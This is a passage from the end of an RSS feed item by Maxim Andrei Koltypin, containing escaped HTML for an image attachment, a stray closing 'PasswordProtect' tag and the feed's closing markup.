&lt;p&gt;&lt;img src=&quot;attachments/bb0abeda69177ed7b42076957900ceb9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;/PasswordProtect&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
</content:encoded><author>Maxim Andrei Koltypin</author></item></channel></rss>